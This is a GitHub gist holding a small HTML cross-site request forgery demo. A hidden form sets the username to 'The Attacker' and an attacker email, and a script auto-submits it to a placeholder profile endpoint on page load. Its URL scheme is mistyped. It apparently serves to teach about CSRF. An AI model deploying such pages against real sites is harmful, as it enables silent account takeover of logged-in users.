Created
February 2, 2021 13:57
-
-
Save zlatkov/60f2d6a82cf1007a0eefc1f63983447c to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE HTML> | |
<html> | |
<head></head> | |
<body> | |
<form method='post' action='htps://example.com/api/profile'> | |
<input type='hidden' name='username' value="The Attacker"> | |
<input type='hidden' name='email' value="[email protected]"> | |
</form> | |
<script> | |
document.forms[0].submit(); | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment